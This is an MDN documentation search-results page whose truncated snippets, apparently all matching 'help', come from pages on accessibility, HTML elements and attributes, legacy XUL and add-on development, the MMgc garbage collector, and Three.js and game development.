...tem outside of Pork. (See Dehydra, Treehydra). Rhino Rhino is an open-source implementation of JavaScript written entirely in Java. It is typically embedded into Java applications to provide scripting to end users. It is embedded in J2SE 6 as the default Java scripting engine. Shumway This article will help you understand Shumway -- Mozilla's open standards-based Flash renderer -- and what it means for the community of developers currently creating the Adobe Flash platform. SpiderMonkey: The Mozilla JavaScript runtime Standalone source code releases can be found on the Releases page. Thread Sanitizer Thread Sanitizer (TSan) is a fast data race dete...
...And 2 more matches
Gecko events
r size. Is Supported: no EVENT_NAME_CHANGE An object's Name property has changed. Is Supported: yes Targets: TABLE_CELL - the cell of <xul:tree/>, any accessible for HTML element when @title or @alt attribute is changed. EVENT_DESCRIPTION_CHANGE An object's Description property has changed. Is Supported: no EVENT_VALUE_CHANGE An object's Value property has changed. Is Supported: yes EVENT_HELP_CHANGE An object's help has changed. Is Supported: no EVENT_DEFACTION_CHANGE An object's default action has changed. Is Supported: no EVENT_ACTION_CHANGE An object's action has changed. Is Supported: no EVENT_ACCELERATOR_CHANGE An object's keyboard shortcut has changed. Is Supported: no EVENT_SELECTION The selection within a container object has changed. Is Supported: yes EVENT_SELECTIO...
...: yes EVENT_MENUPOPUP_END A pop-up menu has been closed. Is Supported: yes EVENT_CAPTURE_START A window has received mouse capture. Is Supported: no EVENT_CAPTURE_END A window has lost mouse capture. Is Supported: no EVENT_MOVESIZE_START A window is being moved or resized. ...
...losed. Is Supported: yes EVENT_CAPTURE_START A window has received mouse capture. Is Supported: no EVENT_CAPTURE_END A window has lost mouse capture. Is Supported: no EVENT_MOVESIZE_START A window is being moved or resized. ...
...And 2 more matches
Web applications and ARIA FAQ - Accessibility
des a means to make web applications and widgets more accessible to a diverse range of users, including those who use assistive technologies such as screen readers or magnifiers. ARIA provides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs. It also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages. ARIA enables dynamic, JavaScript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. For more information about how to create accessible widgets with ARIA, see the Overview of accessible web applications and widgets. Where is ARIA Supported? ARIA is a relatively new specificati...
...ribute("aria-valuenow", percentComplete); } Will adding ARIA change my page styles or behavior? No, ARIA is only made available to assistive technology APIs, and doesn't affect native browser functionality with respect to the DOM or styling. From the browser's point of view, the native HTML defines the semantic meaning and behavior of an element, with ARIA attributes acting as a layer on top to help support the AT API. Though on its own ARIA will not change any styles, as with any HTML attributes, CSS can take advantage of ARIA attributes as element selectors. This may provide a convenient mechanism to style ARIA-enabled widgets. .tab-panel[aria-hidden="true"] { display: none; } .tab-panel[aria-hidden="false"] { display: block; } What about validation? The new attributes introdu...
... Browsers expose ARIA-enabled elements to the assistive technology API as if they were native widgets. As a result, the user potentially gets a more consistent user experience, where dynamic JavaScript-driven widgets on the web are comparable to their equivalents on the desktop. How do I test my use of ARIA? Are there any tools available for free? Several inspecting and debugging tools exist to help you test ARIA in action: Object Inspector on Windows Accessibility Inspector on OS X AccProbe on Linux Firebug's DOM Inspector The Accessibility Inspector for Firebug The Audits tab in Chrome DevTools There are several free or open source screen readers that can be used to do hands-on testing with ARIA. They include: Orca for Linux NVDA for Windows VoiceOver is built into OS X Wh...
...And 2 more matches
Text labels and names - Accessibility
to navigate the page to determine its content, which can be a time consuming and potentially confusing process. Examples The title for the reference article about the <title> element is as follows: <title>&lt;title&gt;: The Document Title element - HTML: Hypertext Markup Language</title> Another example might look like so: <title>Fill in your details to register -- myGov services</title> To help the user, you can update the page title value to reflect significant page state changes (such as form validation problems): <title>2 errors -- Fill in your details to register -- myGov services</title> See also <title> Embedded content must be labeled Make sure that elements that embed content have a title attribute that describes the embedded content. This includes the <embed> and <obje...
...oblems): <title>2 errors -- Fill in your details to register -- myGov services</title> See also <title> Embedded content must be labeled Make sure that elements that embed content have a title attribute that describes the embedded content. This includes the <embed> and <object> elements. These elements are often used for graphical content, much like the <img> element. A descriptive title helps users of assistive technology understand what the element is showing. Figures with optional captions should be labeled For best accessibility, include a <figcaption> within a <figure> element, even though doing so is technically optional. The caption is in addition to any alternative text on images within the figure. The caption describes the purpose of the figure in the document, which may be...
...et elements must have a text description, similar to other form elements. Use the <legend> element to describe the purpose of a fieldset. Use a legend to label a fieldset When grouping a set of form elements together with a <fieldset> element, you should include a nested <legend> element inside it, containing a clear description of the group. Users of assistive technology find this description helpful when trying to work out the overall purpose of the group. Without the legend, they would have to navigate around the individual form controls in the group to infer an idea of the overall purpose, which could result in confusion. Examples <form> <fieldset> <legend>Choose your favorite monster</legend> <input type="radio" id="kraken" name="monster"> <label for="kraken">Kraken</l...
...And 2 more matches
Index - Developer guides
Web › Guide › Index
Found 43 pages: # Page Tags and summary 1 Developer guides API, Guide, Landing, Web These articles provide how-to information to help make use of specific web technologies and APIs. 2 Ajax AJAX, DOM, JSON, JavaScript, References, XMLHttpRequest Asynchronous JavaScript and XML, while not a technology in itself, is a term coined in 2005 by Jesse James Garrett, that describes a "new" approach to using a number of existing technologies together 3 Community AJAX If you know of useful mailing lists, newsgroups, forums, or other communities related to AJAX, please link to them here. 4 Getting Started AJAX, API, Advanced, JavaScript, WebMechanics, XMLHttpRequest This article guides you through the AJAX...
...ginnerUpdate, NeedsUpdate The Web platform provides several ways to be notified of DOM events. Two common approaches are addEventListener() and the specific onevent handlers. 20 Media events Intermediate, Media Various events are sent when handling media that are embedded in HTML documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them. 21 Mouse gesture events Advanced, DOM Gecko 1.9.1 added support for several Mozilla-specific DOM events used to handle mouse gestures. These are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks. 22 Mutation events Advanced, DOM, Guide Mutation events provide a mec...
...ist of all of the APIs provided by the full web technology stack. 29 Index Guide, Index Found 31 pages: 30 Introduction to Web development Beginner, CSS, CodingScripting, Development, HTML, JavaScript, Web Whether you're just getting started with Web development, or are just expanding your horizons into new realms of Web awesomeness, the links here should help you get started. 31 Localizations and character encodings Character encodings, HTML, Localization, NeedsMarkupWork Browsers process text as Unicode internally. However, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. The HTML specification recommends the use of the UTF-8 encoding (which can...
...And 2 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
Web › HTML › Attributes › rel
nical Preferred URL for the current document. Link Not allowed Not allowed dns-prefetch Tells the browser to preemptively perform DNS resolution for the target resource's origin External Resource Not allowed Not allowed external Referenced document is not part of the same site as the current document. Not allowed Annotation Annotation help Link to context-sensitive help. Link Link Link icon Icon representing the current document. External Resource Not allowed Not allowed license Indicates that the main content of the current document is covered by the copyright license described by the referenced document. Link Link Link manifest Web app manifest Link Not allow...
...he user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the as attribute (and the priority associated with the corresponding destination). External Resource Not allowed Not allowed prerender Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. External Resource Not allowed Not allowed prev Indicates that the current document is a part of a series, and that the previous document in the series is the referenced document. Link Link Link search Gives a link to a resource that can be used to search through the current document and its related pages. Link ...
...t heading sibling or ancestor descendant, to the next.. canonical Valid for <link>, it defines the preferred URL for the current document, which is useful for search engines. dns-prefetch Relevant for the <link> element both in the <body> and <head>, it tells the browser to preemptively perform DNS resolution for the target resource's origin. Useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed DNS resolution for the origin of the specified resource. See dns-prefetch described in resource hints. external Relevant to <form>, <a>, and <area>, it indicates the referenced document is not part of the current site. This can be used with attribute selectors to style ...
...And 2 more matches
<input type="url"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › url
if it doesn't have the readonly attribute set and is not disabled. The value returned by reading spellcheck may not reflect the actual state of spell checking within a control, if the user agent's preferences override the setting. Non-standard attributes The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped. Attribute Description autocorrect A string indicating whether or not autocorrect is on or off. Safari only. mozactionhint A string indicating the type of action that will be taken when the user presses the Enter or Return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. Firefox for Android o...
... the change being implemented in Firefox, see bug 1490661. Permitted values are: go, done, next, search, and send. The browser decides, using this hint, what label to put on the enter key. Using URL inputs When you create a URL input with the proper type value, url, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate URL. This can help avoid cases in which the user mis-types their web site's address, or provides an invalid one. It's important, however, to note that this is not enough to ensure that the specified text is a URL which actually exists, corresponds to the user of the site, or is acceptable in any other way. It simply ensures that the value of the field is properly formatted to be a URL. Note: It's also crucial to...
...red, but is otherwise not considered valid. By adding the required attribute, only properly-formed URLs are allowed; the input is no longer considered valid when empty. There is nothing magical going on here. Submitting this form would cause the following data to be sent to the server: myURL=http%3A%2F%2Fwww.example.com. Note how characters are escaped as necessary. Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each <input>. This is where placeholders come in. A placeholder is a value that demonstrates the form the value should take by presenting an example of a valid value, which is displayed inside the edit box when the element's value is "...
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
Web › HTML › Element › table
MDN Adding a caption to your table with <caption> Caption & Summary o Tables o W3C WAI Web Accessibility Tutorials Scoping rows and col...
...> <td>Awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, th, td { padding: 5px; border: 1px solid black; } Accessibility concerns Captions By supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it. This helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns. MDN Adding a caption to your table with <caption> Caption & Summary o Tables o W3C WAI Web Accessibility Tutorials Scoping rows and columns The scope attribute on header elements is redundant in simple contexts, because scope is inf...
... MDN Tables for visually impaired users Tables with two headers o Tables o W3C WAI Web Accessibility Tutorials Tables with irregular headers o Tables o W3C WAI Web Accessibility Tutorials H63: Using the scope attribute to associate...
...And 2 more matches
Optimizing startup performance - Web Performance
ong those focusing on performance optimization--is startup performance. How long does your app take to start up? Does it seem to lock up the device or the user's browser while the app loads? That makes users worry that your app is crashed, or that something else is wrong. It's always a good idea to take the time to ensure that your app starts up nicely. This article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the Web. Starting up nicely Regardless of platform, it's always a good idea to start up as quickly as possible. Since that's a universal issue, we won't be focusing on it too much here. Instead, we're going to look at a more important issue when building Web apps: starting up as asynchronously a...
... indicate to the browser which files are more critical for your application. The more stuff you can do asynchronously, the better advantage your app can take of multicore processors. Porting issues Once the initial loading is done and the app's main code starts to run, it's possible your app may necessarily be single-threaded,especially if it's a port. ...
...arts to run, it's possible your app may necessarily be single-threaded,especially if it's a port. The most important thing to do to try to help with the main code's startup process is to refactor the code into small pieces that can be done in chunks interspersed across multiple calls to your app's main loop, so that the main thread gets to handle input and the like. Emscripten provides an API to help with this refactoring; for example, you can use emscripten_push_main_loop_blocker() to establish a function to be executed before the main thread is allowed to continue. By establishing a queue of functions to be called in sequence, you can more easily manage running bits of code without blocking the main thread. That leaves, though, the problem of having to refactor your existing code to actual...
...And 2 more matches
Developing add-ons - Archive of obsolete content
This includes information about addons.mozilla.org, Mozilla's add-on distribution web site. ...
... This includes information about addons.mozilla.org, Mozilla's add-on distribution web site. ...
... This includes information about addons.mozilla.org, Mozilla's add-on distribution web site. Extensions Extensions add new functionality to Mozilla applications such as Firefox, SeaMonkey and Thunderbird. ...
... ...
MMgc - Archive of obsolete content
acro. class MyOtherManagedObject : public MMgc::GCObject { DWB(MyObject*) object; }; Now for the good part... there is no need to delete instances of MyObject, because the GC will clean them up automatically when they are unreachable. However, a GCObject can be deleted explicitly with the delete operator. Only do this if you know for certain that there are no other references, and you want to help the GC along: // Optimization: Get rid of myObject now, because we know there are no other // references, so no need to wait for GC to clean it up. delete myObject; The destructor for a GCObject will never be called (unless the object is also a descendant of GCFinalizedObject... see below.) class MyObject : public MMgc::GCObject { ~MyObject() { assert(!"this will never be hit (unless we also...
...le and will be destroyed. And you'll be left with dangling pointers to these destroyed objects. If you get a crash dereferencing a pointer to a GC object, and the pointer was a member variable in an unmanaged (non-GC) object, check whether the unmanaged object is a GCRoot. If it isn't, maybe it needs to be. Finding missing write barriers There are some automatic aids in the MMgc library which can help you find missing write barriers. Look in MMgc/GC.cpp. // before sweeping we check for missing write barriers bool GC::incrementalValidation = false; // check for missing write barriers at every Alloc bool GC::incrementalValidationPedantic = false; If you suspect you have missing write barriers, turn these switches on in a DEBUG build. (The second switch will slow your application down a lot mor...
... objects that are no longer referenced. Problem: Circular References Reference counting falls down when circular references occur in objects. If object A and object B are reference counted and refer to each other, their reference counts will both be nonzero even if no other objects in the system point to them. Locked in this embrace, they will never be destroyed. This is where garbage collection helps. Mark/sweep garbage collection can detect that these objects containing circular references are really not reachable from anywhere else in the application, and can reclaim them. The problem with going from reference counting to pure mark/sweep garbage collection is that a lot of time may be spent in the garbage collector. This time will pause the entire application, and give the impression of po...
...sweep, after the sweep the pointer will point to deleted memory. Also we can check throughout the incremental mark by making sure any black -> white pointers have been recorded by the write barrier. Furthermore we can run this check even more frequently than every mark increment, for instance every time our GC memory allocators request a new block from our primary allocator (the way our extremely helpful greedy collection mode works). This would of course be slow but with good code coverage should be capable of finding all missing write barriers. Only checking for missing write barriers before every sweep will probably be a small enough performance impact to enable it in DEBUG builds. The more frequent ones will have to be turned on manually. Write Barrier Implementation There are a couple opt...
Getting Started - Archive of obsolete content
following directories. skin\classic\communicator communicator contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window. skin\classic\editor editor contains files of Composer. skin\classic\global global contains almost all of the important CSS files that define the appearance of the suite. This is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\messenger messenger contains styles of the mail client. skin\classic\messenger-newsblog messenger-newsblog contains the only CSS file. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. skin\classic\navigator navigator contains some ...
... of this discussion we will call your theme "My_Theme", though you can replace that with any name. Copying The Necessary Files The first step is to move all the files into the right directory structure. So create a new directory called My_Theme. Create a directory called chrome inside it. Into this directory put a ZIP archive called My_Theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above. (Yes, this means that the structure of your new directory and classic.jar will be slightly different.) Creating the Install Files Icon.png and preview.png These are some PNG images containing the icon and the preview of the theme. Chrome.manifest Make a copy of chrome.manifest and place it in \My_Theme and open it up in your text ...
...xt to point to match the name/version that you used in the sections before this. skin global My_Theme jar:chrome/My_Theme.jar!/global/ skin mozapps My_Theme jar:chrome/My_Theme.jar!/mozapps/ skin messenger My_Theme jar:chrome/My_Theme.jar!/messenger/ skin messenger-newsblog My_Theme jar:chrome/My_Theme.jar!/messenger-newsblog/ skin communicator My_Theme jar:chrome/My_Theme.jar!/communicator/ skin help My_Theme jar:chrome/My_Theme.jar!/help/ skin navigator My_Theme jar:chrome/My_Theme.jar!/navigator/ skin editor My_Theme jar:chrome/My_Theme.jar!/editor/ Save the file and exit the text editor. install.rdf Make a copy of install.rdf and place it in the My_Theme directory, then open it up in your text editor. This file is a small XML database that describes the skin. <Description about="urn:moz...
...he background-color: to DarkBlue and the color: to White, and save the file. more after I get done with some tests Repackaging JAR Now all you need to do is repackage a JAR file with the following directory structure, using your favorite archive manager to create a zip archive: /chrome/My_Theme.jar!/communicator/* /chrome/My_Theme.jar!/editor/* /chrome/My_Theme.jar!/global/* /chrome/My_Theme.jar!/help/* /chrome/My_Theme.jar!/messenger/* /chrome/My_Theme.jar!/messenger-newsblog/* /chrome/My_Theme.jar!/mozapps/* /chrome/My_Theme.jar!/navigator/* /chrome.manifest /install.rdf /icon.png /preview.png Make sure not to just zip up the My_Theme parent directory since that will cause the drag and drop install in the next section to fail without error messages. Once you have put the files in the zip ...
JavaScript Client API - Archive of obsolete content
t imply, either directly or by omission, that your Third Party Client is produced or endorsed by Mozilla. By providing access to the Firefox Sync APIs, Mozilla is not granting you a license to any of our trademarks. Before Starting Before you start learning the JavaScript API, you should spend some time on http://docs.services.mozilla.com/ reading about how the Sync service operates. This will help fundamental understanding significantly. API Location The Sync JavaScript client API is defined in files in the services/sync/ directory of mozilla-central or similar repository. Terminology SyncEngine The main Sync client object. It's what starts all the magic. Engine Governs the synchronizing of a specific set of information. e.g. there is an engine for bookmarks, tabs, history, prefer...
...gainst the JavaScript API, it is recommended to speak to developers of the API. See https://wiki.mozilla.org/Services/Sync for their contact information. To create a custom Sync engine to synchronize a new data you, you'll need to define an engine object that extends the base SyncEngine object. This involves writing types that extend the Store, Tracker, and Record types as well. It will be very helpful to look at an existing sync engine for guidance. Have a look at one of the following files: services/sync/modules/engines/bookmarks.js services/sync/modules/engines/history.js Setting up a JS Module The code for your custom sync engine should live in a JS module. First off we're going to import the files mentioned above at the top the file. We're also going to import ''util.js'' as it c...
...isting sync engine for guidance. Have a look at one of the following files: services/sync/modules/engines/bookmarks.js services/sync/modules/engines/history.js Setting up a JS Module The code for your custom sync engine should live in a JS module. First off we're going to import the files mentioned above at the top the file. We're also going to import ''util.js'' as it contains many useful helpers. const Cu = Components.utils; Cu.import("resource://services-sync/engines.js"); Cu.import("resource://services-sync/record.js"); Cu.import("resource://services-sync/util.js"); The Record Object The record object is a wrapper around a single instance of whatever data it is that you are syncing -- a single bookmark, history URL, password or form data entry. For some sync engines, it makes se...
...s in the store) called GUID. Depending of what type of data you're working with, you might already have GUIDs built into your data that you can make use of (note that GUIDs must be allowed to change and should be URL friendly). If not, you may have to invent your own mapping from data objects to GUIDs as long as it's consistent. ...
Commands - Archive of obsolete content
he convention that command id's start with 'cmd_'. You will probably want to use the same id if a command is already being used, however, for your own commands, you can use any command id you wish. To avoid conflicts, you may wish to include the application name in the command id. A simple way of using commands is as follows: Example: Simple command Example 1 : Source View <command id="cmd_openhelp" oncommand="alert('Help!');"/> <button label="Help" command="cmd_openhelp"/> In this example, instead of placing the oncommand attribute on the button, we instead place it on a command element. The two are then linked using the command attribute, which has the value of the command's id. The result is that when the button is pressed, the command 'cmd_openhelp' is invoked. There are two advantag...
...p elements that would send a command event. Additionally, If you set the disabled attribute on the command, the command will be disabled and it will not be invoked. Any buttons and menu items hooked up to it will be disabled automatically. If you re-enable the command, the buttons will become enabled again. ...
...nd a command event. Additionally, If you set the disabled attribute on the command, the command will be disabled and it will not be invoked. Any buttons and menu items hooked up to it will be disabled automatically. If you re-enable the command, the buttons will become enabled again. Example: Toggling command disabled Example 2 : Source View <command id="cmd_openhelp" oncommand="alert('Help');"/> <button label="Help" command="cmd_openhelp"/> <button label="More Help" command="cmd_openhelp"/> <button label="Disable" oncommand="document.getElementById('cmd_openhelp').setAttribute('disabled','true');"/> <button label="Enable" oncommand="document.getElementById('cmd_openhelp').removeAttribute('disabled');"/> In this example, both buttons use the same command. When the...
...example, both buttons use the same command. When the Disable button is pressed, the command is disabled by setting its disabled attribute, and both buttons will be disabled as well. It is normal to put a group of commands inside a commandset element, together near the top of the XUL file, as in the following: <commandset> <command id="cmd_open" oncommand="alert('Open!');"/> <command id="cmd_help" oncommand="alert('Help!');"/> </commandset> A command is invoked when the user activates the button or other element attached to the command. You can also invoke a command by calling the doCommand method either of the command element or an element attached to the command such as a button. Command Dispatching You can also use commands without using command elements, or at least, without addin...
XUL accessibility guidelines - Archive of obsolete content
guages. Most of all, accessibility requires a conscious effort on your part, and a desire to include everyone. It is hoped that these guidelines will be sufficiently clear and detailed that everyone--even someone with no previous background in accessibility--can understand them. In addition, there is an active community of accessibility developers within the Mozilla Project that will be happy to help you with any concerns or questions you have in regards to making your XUL applications fully accessible. There is also a XUL accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital. Learn More Accessibility Platform Features Mozilla Community ...
...en windows are resized, the application adjusts gracefully. Human computer interaction As you use an application you expect a certain amount of control and feedback. Provide users with clear instruction and feedback, and allow users to correct errors. Some users with disabilities have difficulties with quick responses. Allow users adequate time to perform tasks. Instruction Provide users with help documentation. Even simple applications should include a help document or manual for user reference. Describe keyboard shortcuts and any other accessibility considerations. Users should be able to reference a complete description of all major functionality of an application. Also provide details on how to use long or complex help documentation. Alerts Provide accessible alerts for presenting im...
... or request more time. One of the miracles of modern technology is that it allows people with even the most severe physical limitations to use computers. Some users use mouth sticks or movement detection devices such as eye tracking to type. This process can be slow. Other users need time to cognitively process what is happening in the application. Testing human computer interaction Ensure that help documentation is up to date. Verify that alerts are displayed through appropriate XUL elements. Ensure the user is informed of any user based errors and that instruction and opportunity for reperforming error causing actions is allowed. Ensure that users have control of response time. Media Audio Informative audio files such as podcasts can be made accessible by supplying a word-for-word trans...
...nd sufficient contrast exists between font color and background color. Color alone is used to convey meaning, or font and background color do not provide sufficient contrast. Flex Visual elements and containers resize gracefully. Visual elements and containers do not resize gracefully. Human computer interaction Checkpoint Pass Fail Instruction Help documentation is provided including a description of keyboard shortcuts. Help documentation is not provided or is incomplete. Alerts Alerts are displayed using the alert scripting function or the notificationbox element. Alerts are conveyed visually or audibly, or use a method other than the alert scripting function or the notificationbox element. Interactive elements ...
prefwindow - Archive of obsolete content
indows, breaking the general behavior of the window and in particular the list of prefpanes. Prefer the classical window.openDialog() with the following window features: "chrome,titlebar,toolbar,centerscreen,dialog=yes". ...
...of buttons to appear in the dialog box. The buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. The following values can be used in the list: accept: The OK button, which will accept the changes when pressed. This button will also be the default button. cancel: The cancel button which will cancel the operation. help: A help button for displaying help about the dialog. disclosure: A button to show more information. This might be a button or a disclosure triangle. extra1: An optional additional button. You can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute. extra2: A second optional additional button. You can set its label with the buttonlabelextra...
...ll not. ondialogcancel Type: script code The code in this attribute is called when the "cancel" button is pressed or when the cancelDialog method is called. If the routine returns true, the dialog will indeed go away, but if it returns false it will not. ondialogdisclosure Type: script code The code in this attribute is called when the "disclosure" button is pressed. ondialoghelp Type: script code The code in this attribute is called when the "help" button is pressed. prefwindow.onload Type: script code When a window finishes loading, it calls this event handler on the prefwindow element. title Type: string The text to appear in the title bar of the window. type Type: string Set this attribute to child for preference dialogs that are child dial...
...of buttons to appear on the dialog box. The buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. The following values can be used in the list: accept: The OK button, which will accept the changes when pressed. This button will also be the default button. cancel: The cancel button which will cancel the operation. help: A help button for displaying help about the dialog. disclosure: A button to show more information. This might be a button or a disclosure triangle. extra1: An optional additional button. You can set its label with the buttonlabelextra1 attribute and its command with the ondialogextra1 attribute. extra2: A second optional additional button. You can set its label with the buttonlabelextra...
The Business Benefits of Web Standards - Archive of obsolete content
seconds to load. The style sheet only needs to load once and then it is cached. The payload might be slightly higher for the first page. But for accessing multiple pages of a site over many visits the savings in bandwidth are huge. Improve Search Engine Optimization Without Costs Being well-placed in search engines is one of the hardest challenges faced by webmasters. In this case, every bit helps. By using semantic markup we greatly assist the Search Engines in their indexing process. These things come naturally to Standards developers without additional effort, time or thought. All their documents are properly marked up at the outset. The number of sites which do not include proper titles and descriptions in the meta is surprising. A lot of other sites would greatly increase their SEO b...
.... Dynamic effects such as those created by JavaScript are not taken into account, and text rendered with graphics cannot be read and parsed either. Separating presentation from content increases the information/markup ratio, making CSS-based documents more pertinent with regard to the search terms, which makes them rank higher in search results. Using CSS to render titles instead of graphics also helps in this regard. There are very significant differences in how search engines operate. Instead of worrying about each engine and attempting to artificially manipulate the results, Web Standards pages index and rank properly (where they deserve to) across all search engines. In the same way that Standards hugely reduce the concern we need to have for browser differences, they also reduce the diff...
...etween disciplines within a common framework. The content creator - who may be a journalist, a music producer, or may come from any one of a number of disciplines; need not become involved in the actual process of publishing that content at all. And the person applying the markup need not necessarily, know (or care) how it is going to be styled. That has been the real impact of The Zen Garden, in helping to demonstrate the stunning results which are possible without altering the markup, and indeed keeping the amount of presentational markup to an acceptable minimum. The Content - Markup - Style; model also lends itself very neatly to linear methods of production. No web development activity need or indeed - should take place until the content has been produced. Conversely once the content is ...
...ndards to start with we have a known benchmark to measure the known deviations of legacy user agents. Nearly all of those deviations are now well documented and the fixes are well published and well known. Conversely fixing tag soup is a black hole of time and money. Well-formed code significantly reduces rendering differences in various browsers. Using validation tools such as the W3C Validator helps by spotting coding errors and making sure HTML code is well-formed, which eliminates ambiguity in parsing by browsers. Standards Embrace New Browsers More and more browsers, other than Internet Explorer for Windows, are used to surf the web: Windows: MSIE, browsers using Mozilla's Gecko rendering engine, Opera Mac: MS-Tasman (IE/Mac's rendering engine), Gecko-based browsers, Safari, Opera ...
Building up a basic demo with Three.js - Game development
A typical 3D scene in a game -- even the simplest one -- contains standard items like shapes located in a coordinate system, a camera to actually see them, lights and materials to make it look better, animations to make it look alive, etc. Three.js, as with any other 3D library, provides built-in helper functions to help you implement common 3D functionality more quickly. In this article we'll take you through the real basics of using Three, including setting up a development environment, structuring the necessary HTML, the fundamental objects of Three, and how to build up a basic demo. Note: We chose Three because it is one of the most popular WebGL libraries, and it is easy to get started with. We are not trying to say it is better than any other WebGL library available, and you should fe...
...e goes here */ </script> </body> </html> It contains some basic information like the document <title>, and some CSS to set the width and height of the <canvas> element, that Three.js will insert on the page to 100% to fill the entire available viewport space. The first <script> element includes the Three.js library in the page, and we will write our example code inside the second. There are two helper variables already included, which store the window's width and height. Before reading further, copy this code to a new text file, and save it in your working directory as index.html. Renderer A renderer is a tool which displays scenes right in your browser. There are a few different renderers: WebGL is the default, and others you can use are Canvas, SVG, CSS, and DOM. They differ in how ever...
...e in the scene. Note: The distance values (e.g. for the camera z position) are unitless, and can be anything you deem suitable for your scene: milimeters, meters, feet, or miles. It's up to you. Rendering the scene Everything is ready, but we still can't see anything. Although we've set-up the renderer, we still need to render everything. Our render() function will do this job, with a little help from requestAnimationFrame(), which causes the scene to be re-rendered constantly on every frame: function render() { requestAnimationFrame(render); renderer.render(scene, camera); } render(); On every new frame the render function is invoked, and the renderer renders the scene and the camera. Right after the function declaration, we're invoking it for the first time to start the loop, after...
...on on each frame. Add this line of code, right after the requestAnimationFrame() invocation inside the render function: cube.rotation.y += 0.01; This rotates the cube on every frame, by a tiny bit, so the animation looks smooth. Scaling We can also scale an object. Applying a constant value, we would make it grow, or shrink just once. Let's make things more interesting. First, we implement a helper variable, called t, for counting elapsed time. Add it right before the render() function: var t = 0; Now let's increase the value by a given constant value, on each frame of the animation. Add the following lines, just below the requestAnimationFrame() invocation: t += 0.01; torus.scale.y = Math.abs(Math.sin(t)); We use Math.sin, ending up with quite an interesting result. This scales the...
3D games on the Web - Game development
as with most of the web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. The main browsers are all supporting WebGL and all you need to focus on is optimizing the performance on the devices you use. There's an ongoing effort on releasing WebGL 2.0 (based on OpenGL ES 3.0) in the near future, which will bring many improvements and will help developers build games for the modern web using current, powerful hardware. Explaining the basic 3D theory The basics of 3D theory centers around shapes represented in a 3D space, with a coordinate system being used to calculate their positions. See our Explaining basic 3D theory article for all the information you need. Advanced concepts You can do a lot more with WebGL. There are some advan...
... how easy it is to build 3D environments for virtual reality using the A-Frame framework. The rise of libraries and frameworks Coding raw WebGL is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our WebGL documentation to get started.) For real-world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on. Using a framework for 3D games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself. The most popular JavaScript 3D library is Three.js, a multi-purpose tool that makes common 3D techniques simpler to implement. There are other popular game development libraries and frameworks wo...
... is a Three.js framework with a declarative entity-component pattern, meaning we can build scenes with just HTML. See the Building up a basic demo with A-Frame subpage for the step-by-step process of creating the demo. Building up a basic demo with Babylon.js Babylon.js is one of the most popular 3D game engines used by developers. As with any other 3D library, it provides built-in functions to help you implement common 3D functionality more quickly. See the Building up a basic demo with Babylon.js subpage for the basics of using Babylon.js, including setting up a development environment, structuring the necessary HTML, and writing the JavaScript code. Building up a basic demo with PlayCanvas PlayCanvas is a popular 3D WebGL game engine open-sourced on GitHub, with an editor available onli...
...entation. See the Building up a basic demo with PlayCanvas subpage for higher-level details, and further articles showing how to create demos using the PlayCanvas library, and the online editor. Building up a basic demo with Three.js Three.js, like any other library, gives you a huge advantage: instead of writing hundreds of lines of WebGL code to build anything interesting you can use built-in helper functions to do it a lot easier and faster. See the Building up a basic demo with Three.js subpage for the step-by-step process of creating the demo. Other tools Both Unity and Unreal can export your game to WebGL with asm.js, so you're free to use their tools and techniques to build games that will be exported to the web. Where to go next With this article we just scratched the surface o...
Desktop mouse and keyboard controls - Game development
to test control-independent features like gameplay on desktop if you develop it there, so you don't have to push the files to a mobile device every time you make a change in the source code. Note: the Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure JavaScript. The good thing about using Phaser is that it offers helper variables and functions for easier and faster development, but it's totally up to you which approach you chose. Pure JavaScript approach Let's think about implementing pure JavaScript keyboard/mouse controls in the game first to see how it would work. First, we'd need an event listener to listen for the pressed keys: document.addEventListener('keydown', keyDownHandler, false); document.addEv...
... in are pressed or not: var rightPressed = false; var leftPressed = false; var upPressed = false; var downPressed = false; Then we will listen for the keydown and keyup events and act accordingly in both handler functions. Inside them we can get the code of the key that was pressed from the keyCode property of the event object, see which key it is, and then set the proper variable. ...
